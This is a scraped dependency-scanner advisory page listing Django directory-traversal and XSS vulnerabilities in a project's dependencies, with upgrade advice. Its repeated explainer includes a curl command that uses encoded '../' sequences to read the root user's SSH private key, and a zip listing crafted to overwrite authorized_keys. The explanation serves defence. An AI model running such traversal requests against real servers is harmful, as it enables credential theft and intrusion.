A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st
is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public
route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e
is the URL encoded version of .
(dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip
.
One way to achieve this is by using a malicious zip
archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip
archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/
overwriting the authorized_keys
file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade Django
to version 2.2.21, 3.1.9, 3.2.1 or higher.
References
low severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@2.2.18.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.
Affected versions of this package are vulnerable to Directory Traversal via the django.utils.archive.extract()
function, which is used by startapp --template
and startproject --template
. This can happen via an archive with absolute paths or relative paths with dot segments.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st
is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public
route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e
is the URL encoded version of .
(dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip
.
One way to achieve this is by using a malicious zip
archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip
archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/
overwriting the authorized_keys
file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade Django
to version 2.2.18, 3.0.12, 3.1.6 or higher.
References
low severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@2.1.9.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS).
The clickable Current URL value displayed by the AdminURLFieldWidget
displays the provided value without validating it as a safe URL. Thus, an unvalidated value stored in the database, or a value provided as a URL query parameter payload, could result in an clickable JavaScript link.
Details
Remediation
Upgrade Django
to version 1.11.21, 2.1.9, 2.2.2 or higher.